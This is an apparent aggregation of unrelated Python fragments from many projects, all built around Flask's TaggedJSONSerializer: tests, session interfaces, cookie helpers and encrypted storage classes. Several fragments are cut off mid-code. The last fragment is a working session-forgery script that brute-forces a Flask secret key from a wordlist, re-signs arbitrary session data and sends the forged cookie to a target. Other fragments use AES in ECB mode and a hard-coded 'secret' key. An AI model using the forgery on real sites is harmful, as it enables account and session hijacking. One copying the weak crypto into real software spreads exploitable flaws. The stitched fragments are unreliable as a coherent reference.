def test_duplicate_tag(): class TagDict(JSONTag): key = " d" s = TaggedJSONSerializer() pytest.raises(KeyError, s.register, TagDict) s.register(TagDict, force=True, index=0) assert isinstance(s.tags[" d"], TagDict) assert isinstance(s.order[0], TagDict)
def test_dump_load_unchanged(data): # logger.info(data) print(data) # logger.setLevel(logging.DEBUG) s = TaggedJSONSerializer() s.loads(s.dumps(data)) # print(s.tags) print(s.dumps(data)) assert s.loads(s.dumps(data)) == data
def test_tag_order(): class Tag1(JSONTag): key = " 1" class Tag2(JSONTag): key = " 2" s = TaggedJSONSerializer() s.register(Tag1, index=-1) assert isinstance(s.order[-2], Tag1) s.register(Tag2, index=None) assert isinstance(s.order[-1], Tag2)
def setup_session(app): global sessionOptions setupSession(app.config) app.config['SESSION_COOKIE_SECURE'] = sessionOptions[ 'session_cookie_secure'] digest_method = hashlib.sha1 key_derivation = "hmac" # Seems flask cookies are not natively handled well, we borrowed some codes from: http://pythonexample.com/code/flask-cookie-httponly/ serializer = URLSafeTimedSerializer( sessionOptions['session_secret_key'], salt=sessionOptions['session_secret_key'], serializer=TaggedJSONSerializer(), signer_kwargs=dict(key_derivation=key_derivation, digest_method=digest_method)) def encodeCookie(_sessionId): scookie = SecureCookie( {sessionOptions['session_cookie_id']: _sessionId}, sessionOptions['session_secret_key']) return serializer.dumps(scookie) def decodeCookie(_sessionId): try: return serializer.loads(_sessionId).get( sessionOptions['session_cookie_id']) except: pass @app.before_request def _attach(): request.session = None sessionId = decodeCookie( request.cookies.get(sessionOptions['session_cookie_id'])) if sessionId is None or sessionId == '': sessionId = newSessionId() @after_this_request def post_set_cookie(response): # TODO: Add http only switch here after some testing response.set_cookie( sessionOptions['session_cookie_id'], encodeCookie(sessionId), secure=sessionOptions['session_cookie_secure'], domain=sessionOptions['session_cookie_domain'], path=sessionOptions['session_cookie_path']) return response request.session = Session(sessionId, **sessionOptions)
def decrypt_api_key(api_key): secret_key = os.getenv('FLASK_SECRET_KEY', None) assert secret_key is not None signer_kwargs = dict( key_derivation="hmac", digest_method=hashlib.sha1 ) serializer = URLSafeTimedSerializer( secret_key, salt="cookie-session", serializer=TaggedJSONSerializer(), signer_kwargs=signer_kwargs, ) return serializer.loads(api_key)
def get_session(response): """ Return session cookie contents. This a base64 encoded json. Returns a dict """ # Alas seems like if there are multiple set-cookie headers - we are on our own for index, h in enumerate(response.headers): if h[0] == "Set-Cookie": cookie = parse_cookie(response.headers[index][1]) encoded_cookie = cookie.get("session", None) if encoded_cookie: serializer = URLSafeTimedSerializer( "secret", serializer=TaggedJSONSerializer()) val = serializer.loads_unsafe(encoded_cookie) return val[1]
def __init__( self, orm_session: Session, sql_session_model: Type, make_id: Callable[[], str], make_session_id: Callable[[], str] = default_mint_session_id, permanent: Optional[bool] = None, serializer: Optional[SerializerProtocol] = None, ): self.permanent = permanent self.make_id = make_id self.make_session_id = make_session_id if serializer is None: serializer = TaggedJSONSerializer() self.serializer = serializer self.orm_session = orm_session self.sql_session_model = sql_session_model
def test_custom_tag(): class Foo: # noqa: B903, for Python2 compatibility def __init__(self, data): self.data = data class TagFoo(JSONTag): __slots__ = () key = " f" def check(self, value): return isinstance(value, Foo) def to_json(self, value): return self.serializer.tag(value.data) def to_python(self, value): return Foo(value) s = TaggedJSONSerializer() s.register(TagFoo) assert s.loads(s.dumps(Foo("bar"))).data == "bar"
def test_custom_tag(): class Foo(object): def __init__(self, data): self.data = data class TagFoo(JSONTag): __slots__ = () key = ' f' def check(self, value): return isinstance(value, Foo) def to_json(self, value): return self.serializer.tag(value.data) def to_python(self, value): return Foo(value) s = TaggedJSONSerializer() s.register(TagFoo) assert s.loads(s.dumps(Foo('bar'))).data == 'bar'
def get_serializer(secret: str, legacy: bool, salt: str) -> URLSafeTimedSerializer: """ Get a (cached) serializer instance :param secret: Secret key :param salt: Salt :param legacy: Should the legacy timestamp generator be used? :return: Flask session serializer """ if legacy: signer = LegacyTimestampSigner else: signer = TimestampSigner return URLSafeTimedSerializer( secret_key=secret, salt=salt, serializer=TaggedJSONSerializer(), signer=signer, signer_kwargs={ 'key_derivation': 'hmac', 'digest_method': hashlib.sha1})
def test_dump_load_unchanged(data): s = TaggedJSONSerializer() assert s.loads(s.dumps(data)) == data
in case the loading failed because of a configuration error or an instance of a session object which implements a dictionary like interface + the methods and attributes on :class:`SessionMixin`. """ raise NotImplementedError() def save_session(self, app, session, response): """This is called for actual sessions returned by :meth:`open_session` at the end of the request. This is still called during a request context so if you absolutely need access to the request you can do that. """ raise NotImplementedError() session_json_serializer = TaggedJSONSerializer() class SecureCookieSessionInterface(SessionInterface): """The default session interface that stores sessions in signed cookies through the :mod:`itsdangerous` module. """ #: the salt that should be applied on top of the secret key for the #: signing of cookie based sessions. salt = 'cookie-session' #: the hash function to use for the signature. The default is sha1 digest_method = staticmethod(hashlib.sha1) #: the name of the itsdangerous supported key derivation. The default #: is hmac. key_derivation = 'hmac' #: A python serializer for the payload. The default is a compact
class FirestoreSessionInterface(SessionInterface): serializer = TaggedJSONSerializer() session_class = FirestoreSession def __init__(self, db): self.db = db def _get_doc(self, sid): return self.db.collection("sessions").document(sid) def _get_signer(self, app): return Signer(app.secret_key, salt="session-id", key_derivation="hmac") def _get_crypt(self, app): return AES.new(app.secret_key[:16], mode=AES.MODE_ECB) def _decrypt(self, app, encrypted: str, verify_salt: str) -> dict: crypt = self._get_crypt(app) salted = unpad(crypt.decrypt(bytes.fromhex(encrypted)), AES.block_size).decode("utf-8") salt, serialised = salted.split(":", 1) if not hmac.compare_digest(salt, verify_salt): raise ValueError() return self.serializer.loads(serialised) def _encrypt(self, app, data: dict, salt: str): serialised = self.serializer.dumps(data) salted = f"{salt}:{serialised}".encode("utf-8") crypt = self._get_crypt(app) return crypt.encrypt(pad(salted, AES.block_size)).hex() def save_session(self, app, session: FirestoreSession, response): session_id = self._get_signer(app).sign(session.sid.encode("utf-8")) if session.modified: self._get_doc(session.sid).set( dict(encrypted=self._encrypt(app, dict(session), session.salt), salt=session.salt)) if session.accessed: response.set_cookie( app.session_cookie_name, session_id, expires=self.get_expiration_time(app, session), httponly=self.get_cookie_httponly(app), domain=self.get_cookie_domain(app), path=self.get_cookie_path(app), secure=self.get_cookie_secure(app), ) def open_session(self, app, request): sid = request.cookies.get(app.session_cookie_name) if not sid: return self.session_class(sid=uuid.uuid4().hex) try: sid = self._get_signer(app).unsign(sid).decode("utf-8") except BadSignature: return self.session_class(sid=uuid.uuid4().hex) doc = self._get_doc(sid).get() if not doc.exists: return self.session_class(sid=uuid.uuid4().hex) data = doc.to_dict() salt = data["salt"] return self.session_class(data=self._decrypt(app, data["encrypted"], salt), sid=sid, salt=salt)
in case the loading failed because of a configuration error or an instance of a session object which implements a dictionary like interface + the methods and attributes on :class:`SessionMixin`. """ raise NotImplementedError() def save_session(self, app, session, response): """This is called for actual sessions returned by :meth:`open_session` at the end of the request. This is still called during a request context so if you absolutely need access to the request you can do that. """ raise NotImplementedError() session_json_serializer = TaggedJSONSerializer() # Session JSON序列化器 class SecureCookieSessionInterface(SessionInterface): """The default session interface that stores sessions in signed cookies through the :mod:`itsdangerous` module. """ #: the salt that should be applied on top of the secret key for the #: signing of cookie based sessions. salt = 'cookie-session' #: the hash function to use for the signature. The default is sha1 digest_method = staticmethod(hashlib.sha1) #: the name of the itsdangerous supported key derivation. The default #: is hmac. key_derivation = 'hmac' #: A python serializer for the payload. The default is a compact
class StorageAccount(object): json_serializer = TaggedJSONSerializer() def __init__(self, connection_str: str, table_name: str, partition_key: str, create_table_if_not_exists: bool): self.table_name = table_name self.partition_key = partition_key self.create_table_if_not_exists = create_table_if_not_exists self.table_service = TableClient.from_connection_string(conn_str=connection_str, table_name=self.table_name) def write(self, key: str, data: dict, encryption_key: bytes) -> None: """ serializes and encrypts the passed dict object object and writes it to the storage """ data = self.json_serializer.dumps(data) encoded_data, tag, nonce = self.encrypt(data, encryption_key) entity = { "PartitionKey": self.partition_key, "RowKey": key, "Data": encoded_data, "Tag": tag, "Nonce": nonce } try: self.table_service.upsert_entity(entity=entity) except AzureMissingResourceHttpError: if not self.create_table_if_not_exists: raise self.table_service.create_table() self.table_service.upsert_entity(entity=entity) def read(self, key: str, app_key: bytes) -> Union[List[Dict], None]: """ reads encrypted data from storage and decrypts and deserializes it. Returns None if no data was found or decryption failed. """ try: data = self.table_service.get_entity(self.partition_key, key) decoded = self.decrypt(data["Data"].value, data["Tag"].value, data["Nonce"].value, app_key) if decoded is not None: return self.json_serializer.loads(decoded) return None except AzureMissingResourceHttpError: return None def delete(self, key: str) -> None: """ Removes an element from storage if it exists """ try: self.table_service.delete_entity(self.partition_key, key) except AzureMissingResourceHttpError: pass @staticmethod def encrypt(data: str, secret_text: bytes) -> Tuple[str, str, str]: """ encrypts the passed data with the secret text. :return: a tuple of three elements: encrypted data, verification_tag and nonce element. All elements are base64 encoded strings """ cipher = AES.new(secret_text, AES.MODE_EAX) ciphertext, tag = cipher.encrypt_and_digest((data.encode("utf-8"))) return (base64.b64encode(ciphertext).decode("ascii"), base64.b64encode(tag).decode("ascii"), base64.b64encode(cipher.nonce).decode("ascii")) @staticmethod def decrypt(encrypted_data: str, verification_tag: str, nonce: str, secret_text: bytes) -> Union[str, None]: """ Decrypts encoded data using the passed secret_text :param encrypted_data: as base64 encoded string or byte array :param verification_tag: as base64 encoded string or byte array :param nonce: as base64 encoded string or byte array :param secret_text: the same secret text with wich the element was encoded :return: the plaintext on success, None if the data could not be decoded or verified """ nonce = base64.b64decode(nonce) cipher = AES.new(secret_text, AES.MODE_EAX, nonce=nonce) data = base64.b64decode(encrypted_data) plaintext = cipher.decrypt(data) tag = base64.b64decode(verification_tag) try: cipher.verify(tag) return plaintext.decode("utf-8") except ValueError: return None
class CachingSessionInterface(SessionInterface): """ This code is partially based off of the RedisSessionInterface from Flask-Session with updates to properly interoperate with Flask-Caching and be more inline with modern Flask (i.e. doesn't use pickle). https://github.com/fengsp/flask-session/blob/master/flask_session/sessions.py#L90 """ serializer = TaggedJSONSerializer() session_class = CachedSession def _generate_sid(self): sid = str(uuid4()) v = cache.get(key=self.key_prefix + sid) while v: sid = str(uuid4()) v = cache.get(key=self.key_prefix + sid) return sid def __init__(self, key_prefix, use_signer=True, permanent=False): self.key_prefix = key_prefix self.use_signer = use_signer self.permanent = permanent def open_session(self, app, request): sid = request.cookies.get(app.session_cookie_name) if not sid: sid = self._generate_sid() return self.session_class(sid=sid, permanent=self.permanent) if self.use_signer: try: sid_as_bytes = unsign(sid) sid = sid_as_bytes.decode() except BadSignature: sid = self._generate_sid() return self.session_class(sid=sid, permanent=self.permanent) if isinstance(sid, text_type) is False: sid = sid.decode("utf-8", "strict") val = cache.get(self.key_prefix + sid) if val is not None: try: data = self.serializer.loads(val) return self.session_class(data, sid=sid) except Exception: return self.session_class(sid=sid, permanent=self.permanent) return self.session_class(sid=sid, permanent=self.permanent) def save_session(self, app, session, response): domain = self.get_cookie_domain(app) path = self.get_cookie_path(app) if not session: if session.modified: cache.delete(self.key_prefix + session.sid) response.delete_cookie(app.session_cookie_name, domain=domain, path=path) return if session.modified: httponly = self.get_cookie_httponly(app) secure = self.get_cookie_secure(app) expires = self.get_expiration_time(app, session) samesite = self.get_cookie_samesite(app) val = self.serializer.dumps(dict(session)) if session.sid is None: session.sid = self._generate_sid() cache.set( key=self.key_prefix + session.sid, value=val, timeout=total_seconds(app.permanent_session_lifetime), ) if self.use_signer: session_id = sign(want_bytes(session.sid)) else: session_id = session.sid response.set_cookie( app.session_cookie_name, session_id, expires=expires, httponly=httponly, domain=domain, path=path, secure=secure, samesite=samesite, )
"pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia" ] s = requests.Session() s.get(URL) old_session = s.cookies.get_dict()["session"] for secret in cookie_flavors: try: signature = tsigner(secret_key=secret, salt="cookie-session", key_derivation="hmac", digest_method=hashlib.sha1).unsign(old_session) except: continue break new_session = serializer(secret_key=secret, salt="cookie-session", serializer=TaggedJSONSerializer(), signer=tsigner, signer_kwargs={ "key_derivation": "hmac", "digest_method": hashlib.sha1 }).dumps(data) response = requests.get(URL, cookies=dict(session=new_session)) print(response.text)